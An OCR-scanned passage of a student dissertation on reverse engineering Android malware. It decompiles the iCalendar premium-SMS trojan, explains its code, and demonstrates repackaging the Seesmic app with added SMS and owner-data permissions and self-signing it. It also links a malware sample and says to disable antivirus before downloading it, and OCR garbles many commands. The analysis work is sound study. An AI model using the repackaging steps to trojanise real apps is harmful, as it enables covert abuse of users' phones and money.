z =4 1) FTP Upload -

1 T Filter - — [ Bum co/ovp

5| convert Zip File
Send

Settings Help Euy Mow

g Unzip and Install
i® Unzip Options ~
Unzip Entire WinZip File

=]

COpen
With =

Zip My
Files

Select

-

Zip and
E-mail =

-

Encrypt

Compress Decompress View

ab
88 Rename

f-*_ll Mew Folder

the archives. Hence

i Delete i@ﬁ,

Performance |
Scan

Editing Utilities

2 MName Type Modified Size Ratic Packed Path

Choose "Mew" to create or "Open” to open an archive

WinZip provides various options for a user, (22)

files and adds them to an archive.

27

All files in an archive are compressed. WinZip has an option Add which compresses
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e In order to decompress files, WinZip provides the option Exfract. This command
creates individual files on a disk for each of the decompressed files from the archive.

JD-GUI

This tool is a Java Decompiler that is freely available to download at
http://java.decompiler.free.fr/?q=jdgui. It is a separate graphical utility that allows a user to
view Java Source Codes of .class files. Some of its features include (23),

e It supports Drag and Drop

e Supports JAR files

e It utilizes cross-platform wxWidgets toolkit

e Enables user to browse the hierarchy of the class files

e [t exhibits Java code in colour codes.

e It shows log files and enables the user to decompile files in the Java Stack traces.

Procedure

Static Analysis
“Static analysis deals with the program understanding at syntactic level”. (24)

There are two ways in which static analysis can be carried out, namely,

e Using the ApkTool to disassemble the Android application and analyse the smali code
using Notepad++.

e Using Dex2Jar in order to convert the .dex file to a java file and use Notepad++ in
order to analyse the java code.

Method 1.-

e The first step is to download the pre-packaged ApkTool and extract it using WinZip
to a directory that will be remembered.

B | aapt.exe 15/05/2011 16:23 Application 5318 KB
| apktool.bat 03/09,201017:13 Windows Batch File 1 KE
|2 apktool,jar 15/05/2011 19:36 JAR File 2,259 KB
jJ apktooll41.tarbz2 09/07,2011 14:47 WinZip File 2,081 KB
CJ apktool-install-windows-4-brutl tarbz2  09/07/2011 14:38 WinZip File 1,596 KB

The ApkTool is available for download at http://code.google.com/p/android-apktool/.
It is important to note that the ApkTool for Windows platform needs to be installed,
i.e., dpktool-install-windows-r04-bruti.tar.bz2 and apktool1.4.1.tar.bz2.

e The malware, in our case, iCalendar, is then downloaded to the same directory as the
ApkTool. The malware is available for download at
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http://www.mediafire.com/?v4c3t2u7zt87eb8. It is important to note that just before
downloading the malware; Anti-Virus on the system needs to be turned off.

Open the command prompt window and navigate to the root directory of ApkTool
and the following command is typed

apktool if iCalendar acbcad45094de7e877b656db1c28ada2.apk

The output of this command should be

I: Framework installed to: C:\Users\Vibha\apktoo/\framework\127.apk

.- —— — — |
m CiWmndowiaystem I Nomd exe =

icrozoft Windows [Usrzionm 6.1 .%YHHEA]
Copyright (o AHY Mbicrosalft Coprporat ion.

Deazkiap
asktoprcd Vibha

paktop Uibha>cd DISSERTATION

7T.apk

“iCalendar ach .~.1I~'I.’=F'I']‘I

e In order to decompile the apk file we need to use the following command

apktool d iCalendar acbcad45094de7e877b656db1c28ada2.apk

The ouput of this command will be,

I: Baksmaling...

I: Loading resource table...

/. Loaded.

I: Decoding file-resources...

I: Decoding values™®/* XMLs...
I: Done.

I: Copying assets and libs...
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r — _ .

. 6.1.76881 -
9 Microsoft Corporation. All rights re

ibha*cd DISSERTATION
ATION>cd TOOLS

“RTATIONSTOOLS 3 1 i vdar achcad4589

This is the actual step that decompiles the apk file. Once this command is executed,
without any errors, a folder with the application name or in our case the malware name
will be created in the same directory. This folder will contain the following files,

¢ Res folder — This folder contains XMLs defining the layout, drawables,
attributes, languages, etc (25).

¢ Android Manifest File — This file is one of the most important XML file which
contains information about the permissions that the application needs or accesses.
In other words this file contains the Meta information concerning the application.

¢ Smali folder — This folder contains the source code of the application in .smali
format. The code can be edited using Notepad++.

2 CAUsers\Vibha\Desktop\Wibha\DISSERTATION\TOOLS\Calendar achcad45094de7e877b656db1c28ada?rsmalic.. (2o o= o

File Edit 5earch View Encoding Language Settings Macre Run  Plugins Window X
o3 3 s & | D s ld g2 5| BB 1ED| @ |
B AndroidManifestaml | [=] SmsReceiver smali I 1
1 .class public Lcom/mj/iCalendar/SmsReceiver; -

2 .super Landroid/content/BroadcastReceiver;
.source "SmsReceiver.java"

m

¥ static fields
.field private static final strRes:Ljava/lang/String; = "android.provider.Telephon

10 # direct methods
11 .method public constructor <inic>()V
12 .locals 0

14 .prologue
-line 11
16 invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><initc>()V

18 return-vold
12 .end method

4 m 2

MNor length: 4916 lines: 220 Ln:1 Col:43 Sel:0 Dos\Windows ANSI INS
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e The code is then analysed with the help of the IDE Notepad++. Once the code is
analysed and the malicious code is detected and scrutinized we can make the
necessary amendments and repackage the application.

e In order to repackage the application the command is,

apktool b iCalendar acbcad45094de7e877b656adb1c28ada2

The output of this command will be,

I: Checking whether sources has changed...
I: Smaling ...
I: Checking whether resources has changed...

1: Building resources...
I: Building apk file...

-

T——-
BN CA\Windows\system32\cmd.exe = | Bl |

Microzoft Windows [Uerzion 6.1.76801
Copyright {(c) 200? Microsoft Corporation. All rights reserved.

C:“Users“Uibha>cd Dezktop
C:~Usersslibha~Desktoprcd Uibha
C:~Userssllibha~Desktop“UibhaX*cd DISSERTATION
C:“UserszsUibha*Desktop Uibha*DISSERTATION>cd TOOLS

C:Usersslibha~Desktop~Uibha“~DISSERTATION~TOOLS »apktool b "iCalendar achcad45894
de?eB??hEEﬁdhicZBadaT'
Checking whether sources has changed...
: Smaling.
H Checklng whether rezources has changed...
: Building resources...
: Building apk file...

ssUserssllibhasDesktopsUibha“~DISSERTATI ON~TQOQLS >

Method 2:-

e Dex2Jar tool is first downloaded and extracted, using WinZip, to a directory that can
be remembered. It is available for download at
http://code.google.com/p/dex2jar/downloads/detail?’name=dex2jar-0.0.7.11-
SNAPSHOT.zip&can=2&qg=. As mentioned previously this tool helps to convert .dex
format to .class format.

e The malware is also downloaded to the same directory. It is known that an Android
application is a compressed or zipped bundle of files, hence it can be unzipped or
extracted using WinZip. The malware in the .apk format is extracted to the directory
same as Dex2Jar. The apk file is extracted to a different folder, in this case, /Calendar
Malware.
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.
@@v| » Vibha » DISSERTATION » TOOLS » iCalendar malware » - |+,. |'| Search iCalendar malware ~ |
i - -
Organize » & Open Include in library « Share with = Burn Mew folder ==~ 0 0
=
& Downloads i Mame Date modified Type Size
~| Recent Places = — =
= META-INF 12/08/2011 13:14 File folder
o res 12 File folder ||
4 Libraries . .
» (=] AndroidManifest.xml 12 XML Document 4 KB
£ Documents X .
A . || classes.dex 12 DEX File 150 KB
@' Music .
. || resources.arsc 12 ARSC File 4 KB
=/ Pictures
= R A

META-INF Date modified: 12/08/2011 13:14
File folder

The contents of this folder are (26),

¢

Meta INF Folder — This folder consists of information that allows users to
make sure of the security of the system and integrity of the APK application.
Res folder — This folder consists of the resource files such as layouts, sounds,
settings, graphics, etc.

Android Manifest File — This is an XML file that holds information such as
the permissions that is accessed by the application, the package name, version,
etc.

Classes.dex — This file contains all the Java source code that is compiled. This
file is run on the Dalvik Machine. This file consists of the complete bytecode
that the Dalvik Machine will interpret.

Resources.arsc — This file is binary resource file that is obtained after
compilation.

The next step is to open the command prompt window and navigate to the root
directory of Dex2Jar. The classes.dex file of the malware must also be present in the
same directory as dex2jar.bat file. Hence copy the classes.dex file into the file that
contains dex2jar.bat. The following command is then typed in the command prompt
window,

dex2Zjar.bat classes.dex

SNUser
sUserssUibha~Desktop>cd Uibha
lser
slser

sUser

C:slUser
.T)deijaP.hat classzes . dex
B [mainl INFQ com.googlecode.dex2jar.v3l.Main — version:8.0.7.18-SNAPESHOT

3 [mainl INFO com.googlecode.dex2jar.v3d_Main — dex2jar classes.dex —> classes.de
.dex2jar. jar

1283 [mainl INFQ com.googlecode.dex2jar.v3.Main — Done.

C:slUser
T >

TS . o 0 oe=me)
BN Ch\Windows\system32\cmd.exe

Microsoft Windows [Uersion 6.1.76081 -
Copyright <c> 288% Microsoft Corporation. All rights reserved.

C:slUser
HOT

m

s Uibha>cd Desktop

s Uibha~Desktop~Uibha>*cd DISSERTATION

s\UibhasDesktop Uibha“DISSERTATION>cd TOOLS

g UibhaDesktop*Vibha“~DISSERTAT [ON~TOOLS >cd dex2jar

s Uibha~Desktop " Vibha“DISSERTATIONSTOOLS\dex2jar>cd dex2jar—68.0.7.10-5SHAP

ssUibhasDesktopVibha“DISSERTATIONS\TOOLS\dex2 jardex2 jar—#.8.7.10-SNAPSHO,

ssUibhasDesktop“Uibha“DISSERTATIONS\TOOLS\dexZ jar dex2 jar—8.8.7.10-SHNAPSHO,
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Once the dex2jar executes without any errors, a file named c/asses.dex.dexZjar.jar is
created. This file is then opened using JD-GUI.

File Edit Mavigate Search Help
B ®5|
Jclassa.dex.deijar.jar X]

BB} com
[-H3 admob.android.ads
=83 mj.iCalendar

Al

Al

J SmsReceiver.class XI iCalendar.dass

public void onReceive (Context paramContext, Intent paramIntent)
{
long 11
long 12

E-[J] SmsReceiver
| 2-(® SmsReceiver

System.currentTimeMillis(); il
iCalendar.iStartTime;

... of strRes: String long 13 = 11 - 12;
‘@ onReceive(Cont if (!paramIntent.getfction().equals("android.provider.Telephony.SMS_RECEIVED"|=
[J] iCalendars1 return;
m iCalendars2 if {13 > 86400000L)
return;

- [1] iCalendar Bundle localBundle = paramIntent.getExtras():

if ({leocalBundle == null)

return;
Object[] arraylflbject = (Object[])localBundle.get("pdus");
My [1 array0f = new [array0fOkject.length];
int i = 0
int j = array0fCbject.length;
int k;
int m;

if (1= 7)

The Java code is then scrutinized to detect the malicious code.

Dynamic Analysis

“A set of techniques, which involve running an application in a controlled environment and
monitoring its behaviour, are known as dynamic analysis’. (25).
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The first step involved in dynamic analysis of the malware is installing the android
SDK in order to create a virtual device. This virtual device acts as the controlled
environment as per the definition above.

The Android SDK is available for download at
http://developer.android.com/sdk/index.html. The SDK has the following folders
when extracted.

s o oo

New folder =~ 0 @

Organize v Include in library v Share with v Bumn
S Favorites Name ° Date modified Type Size
B Desktop . add-ons 20/01/2011 10:31 File folder
& Downloads .. android-compatibility 24/06/2011 21:48 File folder
] Recent Places 1. docs 24/06/2011 21:34 File folder
= 1. platforms 26/06/2011 11:34 File folder
4 Libraries 1 platform-tools 17/08/2011 21:43 File folder
}3 Documents . samples 24/06/2011 21:46 File folder
& Music | temp 26/06/2011 11:34 File folder
[&=| Pictures ] .. tools 26/06/2011 11:01 File folder
B videos ' SDK Manager.exe 08/02/2011 21:51 Application 354 KB
|| SDK Readme.txt 08/02/2011 21:51 TXT File 2KB
+& Homegroup
- < 1 »

M Comniter

, 10 items
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The SDK has many features to offer (7),

¢ Tools — Contains tools for testing and debugging applications along with other
utility tools.

¢ Platform Tools — Consists of platform specific tools used to develop and
debug applications.

¢ Platforms — This contains all the Android platforms that are deployable on the
Android Devices. Each of these platforms contains fully acquiescent Android
Library, emulator skins, sample code and system image.

e The SDK Manager.exe is started. It first fetches updates on already installed

packages. It is upto the user to install them. On the left hand side we select Virfual
Devices and create a new virtual device.

== . ™

| List of existing Android Virtual Devices located at C\Users\Vibha'.android\avd |
nstalled packages
Available packages AVD Mame Target Marmne Platform  API Level MNew...
Settings v :
~ iCalender Android 2.2 22 ] ] :
About Edit...
" HelloAndroid  Android 231 231 ]
“* TestDevice Android 2.3.1 231 ]

Repair...

Details...

Start...

~ Avalid Android Virtual Device. @ A repairable Android Virtual Device,
X An Android Virtual Device that failed to load. Click 'Details' to zee the error.

e We select New, and fill out the necessary fields as shown below and select Create

Create new Android Virtual Device (AVD‘ g
S —
|
Mame: iCalendar f
Target: [Android 2.2 - API Leval @ -
SD Card:
) File: Browse...
Snapshot:
] Enabled
Skin:
@ Built-in: [Defauk pvvcazoo) -
) Resolution: i
Hardware:
Property Value
Abstracted LCD d i 240
racte: - .enslty Delete
Max VM application hea... 24
Owerride the existing AVD with the same name
[ createavp | [ cancel |

34
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Once the new AVD is created we then select that AVD and click on Sfart to run the
virtual device/emulator. Once the emulator is completely loaded it looks as shown
below.

Sl & 5:46em

Android

5:46..

Saturday, August 20
€ Charging (50%)

Copy the malware into the folder platform-tools in Android SDK. As the emulator is
loading, open a command prompt window and navigate to the platform-tools folder in
Android SDK. Type the below command in order to install the malware onto the
device.

aab install iCalendar acbcad45094de7e877b656a0b1c28ada2.apk

Once the output of this command is Success, the application is successfully installed
on the emulator.

.
A | (S S
B Ch\Windows\systerr 32\‘"“.._-'31‘2_&

Microsoft Windows [Uersion 6.1.76001
Copyright <{c>» 2809 Microsoft Corporation. HAll rights reserved.

m| »

C:xUseprs~Uibha>cd Desktop
C:sUszerssUibhasDezktopicd android-—sdk_»BA?—windows
C:wUsers~Uibha~Desktop~android—-sdk_rB?—windows >cd android-—sdk—windows

C:sUszseprssUibhasDezktoprandroid—sdk_»B?—windows*android—-sdk—windows >cd platform—t
oo ls

iC:xUserssUibhasDesktoprandroid—sdk _vA? —windowssandroid—sdk—windowssplatform—tool]
= >adbh install "iCalendayr achcad45894de?7eB8?7?b656dblic2BadaZ _apk"

599 KBrs (782964 bytes in 1._.275s)

s pkg: Adata-localstmp-iCalendar achcadd45@924de7ed?7bb56dbic2Bada2 _apk
UCCEess

C:sUseprssUibhasDesktoprandroid—sdk_»B?—windowssandroid—-sdk—windowssplatform—tool]

Once the malware is successfully installed it can be viewed in the menu screen of the
emulator.
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i 5554:iCalender

o B & =

Alarm Clock API Demos Browser Calculator

> M & o (=) &

Camera Car Home  Contacts Custom wﬂb
Locale
™o A

# & &

Dev Tools Email Gestures

e s s d el T it fi
suliaer

v - 0 ) ) 5

iCalendar Messaging one =
¥ T ALY i AT

e The next step is to check if the application is running. We cannot dynamically check
the functioning of the malware as it involves setting up of fake DNS servers, etc. The
malware 1s as shown below.

' 5554:iCalender

@ [ 7 R TR [ Y
PR o7 = o s e e
P O e [0 o [ [ el [
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On the emulator we navigate to Dev Tools —» Running Processes and we observe
that the iCalendar malware is running.

_
Tl & 6:110m

[Running processes

com.android.launcher
o000
com.android.packageinstaller

6 o »
i

com.android.phone A6

com.android.protips P 7 S PR [ R P P P

com.android.settings

com.android.spare_parts

The name of the process is the same as the package name that can be viewed in the
Android Manifest File. The entire Malicious Java code of the above malware can be
viewed in the Appendix Section (Appendix 1.1, 1.2).

A different way of utilizing reverse engineering techniques is discussed below. This method
uses an application called Seesmic 1.5.1. This application is a single yet powerful application
that enables a user to deal with their social networks. Its features include (27),

Update Salesforce, Facebook, Google Buzz and Twitter accounts simultaneously
Obtain and search notifications for latest messages

Share videos, location and pictures using any of the services like TwitPic, Youtube,
vFrog, etc.

Full integration of Facebook, Twitter, Google Buzz and Salesforce.

This application is available for download at http://www.freeware4android.net/google-
android-2-2-device-1745/multimedia-graphics-tag/seesmic-get-23529.html (Appendix 2).

The procedure for reverse engineering this application is as follows:-

As previously stated the Android SDK is downloaded and installed following the
steps indicated in the installation guide.

The application is downloaded to the same directory as the ApkTool. A command
prompt window is opened. Navigate to the directory where the application and
ApkTool is downloaded and type the following command
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apktool d seismic_1.5.1.apk

The output of which will be as shown below in the diagram.

B CAWindows\system32icmd.exe

Microsoft Windows [Uersion 6.1.76HA]
Copyright <c? 2809 Microsoft Corporation. All rights reserved.

C:sUserssUibhaX*cd Desktop

sUserssVibhasDesktop>cd Uibha
:sUserssUibhasDesktopsUibha>cd DISSERTATION
SsUserssUibhasDesktopsUibha“DISSERTATION>cd TOOLS

sUserssUibhasDesktopsUibhas~DISSERTATION~TOOLS >apktool d seesmic_1.5.1.apk
: Baksmaling...

estl: Loading resource tahbhle...

: Loaded.

H Euagigg resource table from file: C:slUserssUibhawapktoolsframework-l.apk
: Loaded.

: Decoding file—resources...

: Decoding valuesx/%* XMLs

Done.

: Copying assets and lihs...

C
C
C
C
I
t
I
I
I
I
I
I:
I
C

sUserssUibhasDesktopsUibha“DISSERTATION~TOOLS > _

e A folder by the name seismic_1.5.1 will have been created in the same directory. This
folder has the following files,
¢ Res folder
¢ Smali folder
¢ Android Manifest File (XML)
¢ Android.yml file
e The Android Manifest file is opened with Notepad++ and edited in the following
manner,
¢ The version number is altered to 1.6 from 1.5.1
¢ Four permissions are added, namely, READ SMS, WRITE SMS,
SEND SMS and READ OWNER DATA.

The file is then saved.
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\DISSERTATION\TOOLS\see

Ho 2 EHB v a8 |lw DD | 8lel v
E Androidantest sl I
£?xml version="1.0" encoding="utf-8"3>
nifest android:versionCode="15" android:versi "1.6" packag 'eon.-oes-tc"
xmlns:android="http://schemas.android. com/apk/res/android™>
<application android:theme="§style/SeesmicTheme" android:label="gstring/app_name" android:icor
<provider android:name=".data.SeesmicProvider" android:authorities="com.seesmic.twitter ;cc
<activity android:label="@string/app_name" android:name=".ui.Account">
<intent-filter>
<action android:name="com.seesmic.LOGIN" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
<activity android:label="g@string/app_name" android:name=".ui.Composer">
<intenc-filter>
<action android:name="android.intent.action.SEND* />
<category android:name="android.intent.category.DEFAULT" />
<data android:mimeType="text/plain” />
<data android:mimeType="image/*" />
<data android:mimeTypes"yideo/*" />
</intent-filter>
</activity>
<activity android:label="@string/app_name" android:name=".ui.AccountSelector” />

L N R R T I S R VR
(] 0

Pl L S T

o

n:9 Col:76 Sel:0 Dos\Windows ANSI as UTF-8

\DISSERTATION\TOOLS \seesr

file gdit Search View Encoding Language Seftings Macro Run Plugns Window 1

o2 BB 0Bk e|Mte| 2 LY RCRORCE N - 2
Ewul

110 <uses-feature android:name="android,hardware.location.network" android:required="false" />
il <uses-feature android:name="android.hardware.wifi” android:required="false" />

112 <uses-feature android:name="android.hardware.touchscreen” android:required=“false" />

113 <uses-permission android:name="android.permission. INTERNET" />

114 <uses-permission android:name="android.permission.ACCESS FINE LOCATION™ />

115 <uses-permission android:name="android.permission.ACCESS COARSE_LOCATION" />

116 <uses-permission androidiname="android.permission.VIBRATE" />

117 <uses-permission androidiname="android.permission.WRITE_EXTERNAL_STORAGE" />

118 <uses-permission android:name="android.permission.READ PHONE STATE" />

119 <uses-permission android:name="android.permission.ACCESS WIFI_STATE" />

120 <uses-permission androidiname="android.permission.ACCESS_NETWORK STATE™ />

i1 <uses-permission android:name="android.permission.RECEIVE_BOOT COMPLETED" />

122 <uses-permission android:names="android.permission.WARE LOCR" />

123 <uses-permission android:name="android.permission.READ SMS*™ />

124 <uses-permission android:name="android.permission.WRITE_SMS" />

125 <uses-permission androidiname="android.permission.SEND_SMS™ />

128 <uses-permission sndroidiname="android.permission.READ OWNER DATA™ />
127

“</manifest>

n:127 Col:1 Sel:0

e In the command prompt window we type the below command in order to repackage
the application.
apktool b seismic_1.5.1

The output is as shown below

[ 39 ]
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i)

iC=~lUser libh d Uibha -

OLS >apktool d seesmic_1.5.1.apk

g resource table from File: CislserssUibhasapktoo lsframeworksl.apk
oding file == I
wval
- - i ||
TAT I OM~TOO apktool b seesmic_1.5.1
ged. .. '

changed. ..

¢ Once this command executes without any error, it can be observed that in the folder
seismic 1.5.1 there is a folder called d/stin which the repackaged application with the
changes exist.

= | B .
Y % " . - = = - |
=2 Vibha » DISSERTATION » TOOLS » seesmic 151 » dist ~ | %4 M| Search dist 2
/(B
Organize v Include in library + Share with + Burn MNew folder ==+ M ﬂ
'a Music i Name : Date modified Type Size
k= Pictures . I - ) -
B vid = || seesmic_1.51.apk 21/08/2011 21:03 APK File 1437 KB
ideos =

¥ Homegroup

"M Computer
B Acrea

1 item

—— e e |

e This file is renamed to Sgismic_71.6.apk. it is then copied into the directory where
ApkTool is downloaded. We cannot install this application on the emulator as it needs
to be certified. Hence we self sign the application.

¢ In the command prompt window we type the following command

keytool —genkey —v —keystore my_seesmic.keystore —alias seesmic_1.6 —keyalg RSA —
keysize 2048 —validity 10000

It then asks for a keystore password which in this case is android. The further steps
are as shown in the snapshot below. In the end it asks to enter a password for
seismic_1.6 which is also android.



Reverse Engineering of Malware on Android

B C\Windows\systern32\emd.exe =NHCI X

IC:~Users~Vibha“Desktop~Vibha~DISSERTATION~TOOLS >keytool —genkey —v —keystore my
zseesmic.keystore —alias seesmicl.f —keyALG REA —-keysize 2048 —walidity 16068668
Enter keystore password:
What is your first and last name?

[Unknownl: wvibha manjunath
What iz the name of your organizational unit?

[Unknownl: seesmic
What is the name of your organization?

[Unknown1: i

City or Locality?

[Unknouwn]1:
What iz the name of your State or Province?

[Unknouwn]1:
What iz the two—letter country code for this unit?

[Unknown1:

Is CH=vibha manjunath, OU=zeesmic, O=seesmic. L=london, S8T=england. C=UK correct
7

[nol: vy

iGenerating 2,848 hit RSA key pair and self-signed certificate (SHAlwithRSA> with
a validity of 19,808 days

for: CH=vibha manjunath, OU=szeesmic. O=seesmic, L=london, S5T=england. C=
K

Enter key password for <seesmicl.6>

CRETURMN if same as keystore password):
Re—enter new password:
[Storing my_seesmic.keystorel

C:“Userexlibha*Desktop ~Uibha~DISSERTATI ON~TOOLSE >

e The application is now signed using jarsigner by using the command below
jarsigner —verbose —keystore my_seesmic.keystore seismic_1.6.apk seesmic1.6

It then requests for the keystore password which is android. Once the enter button is
hit each file in the application is signed.

BER CAWindows\system32hemd.exe 'ﬂ ‘ Elﬂlé]

signing: ressmenuwscontext_saved_search.xml -
gigning: ressmenuscontext_tuweet.xml
signing: ressmenuscontext_tweet_own.xml
signing: res/menuscontext_tweet_profile.xml
signing: res/menwsoptions_buzz_xml
signing: ressmenuwsoptions_bu=z_own.xml
signing: ressmenuwsoptions_buzz_profile.xml
signing: i message .xml
signing: i message_own.xml
signing: ressmenwsoptions_chatter_profile._xml
signing: res menuwsoptions_composer.x
signing: ressmenwsoptions_feed.xml
signing: ress/menuwsoptions_list.xml
signing: ressmenwsoptions_list_own.xml
signing: ressmenusoptions_message.xml
| signing: res/menu-soptions_people_likers.xml
signing: res/menwsoptions_profile._xml
signing: res/menuwsoptions_search.xml
signing: ressmenuwsoptions_search_space.xml
signing: ressmenwsoptions_spaces.xml
l signing: ressmenwsoptions_timeline.xml o
signing: ressmenuwsoptions_tuweet.xml
signing: ressmenuwsoptions_tweet_own.xml
N signing: ressxmlrszettings_xml
signing: ressxml /uwidgetl_info.xml
signing: AndroidManifest.xml
signing: classes.dex
signing: resOUPCES.APSC

Cz~Usersz“Uibha~Desktop Uibha~DISSERTATI ON~TOOLS >

m

- = - |

e The application is now signed. The application seismic_1.6.apk and the original
application seismic 1.5.1.apk are then copied to the directory android-sdk-
windows/platform-tools.
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android-sdk_09-windows » android-sdk-windows » platform-tools » | v | 44 ||| Search platiorm-tools

Organize = Include in library + Share with = Burn Mew folder =~ [ @
S Favorites i Name ° Date modified Type Size
Bl Desktop 1 lib 24/06/2011 20:54 File folder
4 Downloads 57 aapt.exe 24/06/2011 20:54 Application 5318 KB
2| Recent Places 57 adb.exe 24/06/2011 20:54 Application 402 KB
= (%, AdbWinApi.dIl 24/06/2011 20:54 Application extens... 94 KB
7l Libraries (%] AdbWinUsbApi.dil 24/06/2011 20:54 Application extens... 60 KB
%] Documents 57 aidl.exe 24/06/2011 20:54 Application 1313KB
J’ Music [ dexdump.exe 24/06/2011 20:54 Application 414 KB
[E5] Pictures chebat 24/06/2011 20:54 Windows Batch File 3KB
B8 videos || iCalendar acbcadd5094de7eB77b656dblc...  12/08/2011 13:06 APK File 765 KB
57 Ihvm-rs-cc.exe 24/06/2011 20:54 Application 15,063 KB
Q@ Hemegroup (277 Jhvm-rs-ce-Zoexe 24/06/2011 20:54 Application 15,671 KB
| NOTICE.&t 24/06/2011 20:54 TXT File 325KB
1 Computer seesmic 1.5.1.apk 21/08/2011 15:24 APK File 1,720 KB
& os(c) || seesmic_1.6.apk 21/08/2011 21:31 APK File 1477 KB |
= Microsoft Office || source.properties 24/06/2011 20:54 PROPERTIES File 1KB
l 15 items

e Next step is to run the SDK Manager.exe and create a new virtual device named 7EST
that runs on the platform Android 2.2.

Create new Android * e S—|
MNMarme: TEST
Target: [Andreid 2.2 - API Level 8 - |
SD Card:
& Filles Browwse...
Snapshot:

[ Enabled

Skirnz

@ Built-in: [Default W GAE 00T "]

0 Resolution: X

Hardwrare:

Properiy Value

Abstracted LCD density 240
- . Delete
Pax VP application hea... 24
Owerride the existing AVD with the same name
[ Create AWD ] [ Cancel ]

e Once the new AVD is created we select Sfarf. In the meantime we open a new
command prompt window and navigate to the folder android-sak-windows/platform-
t00/s and type the below command to install the seismic_1.5.1.apk package.

adb install seismic_1.5.1.apk

42
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Microzoft UWindows [Uer n 6.1.76881
Copyright <(c> 2809 Microsoft Corporation. All rights reserved.

C:vUsers~Uibha>cd Desktop
C:~UserssUibha“\Desktop>cd android-sdk_»rB?-windows

C:“UserssUibhasDesktophandroid—sdk_rB?-windows >cd android—-sdk—windows

C:“UserssUibhasDesktoprandroid—sdk_rB?-windows“android-sdk—windows >cd platform—t

ools

C:“Users~UibhasDesktopsandroid—sdk_rB?-windows*android-sdk—windowssplatform—tool
s radb install seesmic_1.5.1.apk

772 KBrz (1768966 bhytes din 2.225s)>

A pkg:= rdataslocalstmpsseesmic_1.5.1.apk

uccess

C:vUserssUibhasDesktopsandroid—sdk_rB8?—windows“android-sdk—windowssplatform—tool

o
>

Once the installation is successful we check to see what permissions the original
application can access by clicking on the meénu button and selecting $eftings. Then we
navigate to Manage Applications----Seesmic.

‘

(————

[ )

Force stop

Storage

Total

Application

SSSATEST

Alarm Clock APIDemos Browser  Calculator

. ~ I! . ! I

Camera  CarHome Contacts  Custom
Locale

Permissions

$# 8 NZ

DevTools  Email Gallery  Gestures
Builder

mOM@E

Messaging  Music Phone Seesmic
K ¥ ity

A
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e We then uninstall this version of Seesmic and install the altered version
seismic_1.6.apk in the same way as before.

‘Application info

Force stop

Storage
Total
Application

5m“" =

Alarm Clock APIDemos Browser  Calculator

aAO00

oM & 6=y @

Camera  CarHome Contacts  Custom Vﬂ“

Locale m A ﬁ f.\

# B NE

DevTools  Email Gallery  Gestures
Builder

92

Messaging  Music Phone  Seesmic

5ol @ &:s5em

Application info

Permissions

R (em) A
vayv
(AWl S NQ)

It is evident that the new permissions that were added in the manifest file are now reflected in

the new application.
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Result and Conclusion

Result

The android malware that is scrutinized in this project is called iCalendar. As the name
suggests this application is supposed to display the Chinese calendar. This application is a
malware that apparently sends an SMS to a Chinese Number without the user’s consent.

From the analysis made in above, we can confirm that this is a malicious application that
aims to subscribe the user to monthly offers without his/her knowledge. This application is
alleged to be developed by Zsone Android Developer. It is also known that other legitimate
applications from the same developer have a different version number from the malicious
applications.

Let us first take a look at the smali files. It is evident that two files, namely, /Calendar.smali
and SmsReceiver.smali, are the only files to contain the malicious code. In order to view
different months in the calendar, the user has to just click on the current image after the
application is started. When the application is started, a function called show/mg()is invoked.

The method show/mg() first checks if the image being displayed/the number of clicks is equal
to 5; if it is equal to 5 then another method called $endSms() is invoked.

J C\Users\Vibha'Desktop\Vibha' DISSERTATION\TOOLS iCalendar acbcad43094de7el77b656dblc28ada\smali\con
Eile Edit 5earch View Encoding Language Settings Macre Run  Plugins Window 2

o = e QIBJ|%|::IQ| |Hﬂ£§g|<§ ='>|~—'I.‘3_I.|§'—' '—J|.
EEJiCabndatsmaH]

[ mechod private showImg(}V |
.local=s 3

1.9
1 & th s

.prologue
.line 151
iget w0, p0, Lecom/mj/iCalendar/iCalendar;->index:I

1%
wom

W
@ on tnonotnotnonon

const/4 wl, Ox5

f
;o

|if—ne v0, vl, :cond O

f
[ I

Y
F T Y- U o R R

.line 152

|inv0ke—virtual {p0}, Lecom/mj/iCalendar/iCalendar;->sendSms=()V

f
[ I

R PR
woom

.line 155
rcond O
iget w0, p0, Leom/mj/iCalendar/iCalendar;->index:T

const/l6 wl, 0x21

if-1c w0, wl, :cond 1

oo s L R O

The $6ndSms() assigns a value “Y” to a variable and it also obtains the current value in the
xml file of shared preferences folder. It then checks if they are equal, i.e., “Y”. If they are
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equal then it is assumed that a message has already been sent and hence a new message will
not be sent again and the application only displays the calendar. If it is not equal then a text
message is sent using a method sendTextMessage() to a premium number “1066185829”.
This number belongs to a Chinese telecom company.

The content of this message is “921X1”. This message is a special code that indicates to the
telecom company that the user wants a monthly subscription of an SMS service. Hence
without the user’s knowledge a message is sent to a company for a monthly subscription of
an unknown SMS service which costs him/her.

J C:\Users\\l"ibha\DesEp\Vl‘bha\[‘)]SSERTAﬂON\TOOlS\iCalendar achcad‘lg)gilde?eﬂ?}'bESEdb1c23ada2\smafkom\rrj\iﬁalendar\i&|er|r.|ar.sl
File Edit Search View Encoding Larguage Settings Macre Run  Flugins  Window I

a = Bl 4hhl el hrl 2 BE|= lii m=RAD BEl ey
[= iCalendar.smali ]
1000 |.method public sendSms |}V |
1001 .locals &
1 .prologus

const/4 v2Z, 0x0

1006 const/4 ¥7, O0=0

1008 .line 251

1009 const-string v5, "¥"

1011 invoke-virtual {p0!, Lcom/mj/iCalendar/iCalendar;->getStateVal()Ljava/lang/String;
3 move-result-object vé

10 ;; invoke-virtual {v5, w6}, Ljava/lang/String;-»equals(Ljava/lang/Chject:)Z

101 move-result v5

1018 if-nez v5, :cond O

102

1021 .line 252

1022 const-string vl, "1066185829"

1023

1024 .line 253

1025 .local v1, number:lLjava/lang/5tring;
1026 const=string w3, "921X1"

Jline 258

invoke-virtual/zange {v0 .. v5}, Landroid/telephony/gem/SmaManager;-»eendTextMeasage (Liava/lang/String; Liava/lang/String: Ljava/lang/ String; Landraid/app/Pend

Jline 260

invoke-virtual {p0}, Leom/mj/iCalendar/iCalendar;-»save ()V

Once the message is sent a method $4avg() is invoked. This method is the one that actually
writes the value “Y” in the xml file present in the shared preferences folder. This prevents the
application from sending too many messages which might cause suspicion. It also makes a
note of the time at which this change had been made.
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] e\t esop Vot OBSERTATONTOOLSClndr accaS00ge T To6db L dalsmlomiCakr el - Noepd =X

Fle Edt Search View Encoding Lanquage Seffings Macro Run Pluging Window ?
He! 2 hB ﬂam[:l‘ @mbﬁH? '='&.L:||' W ‘@"3?
=] Clendersmei ‘

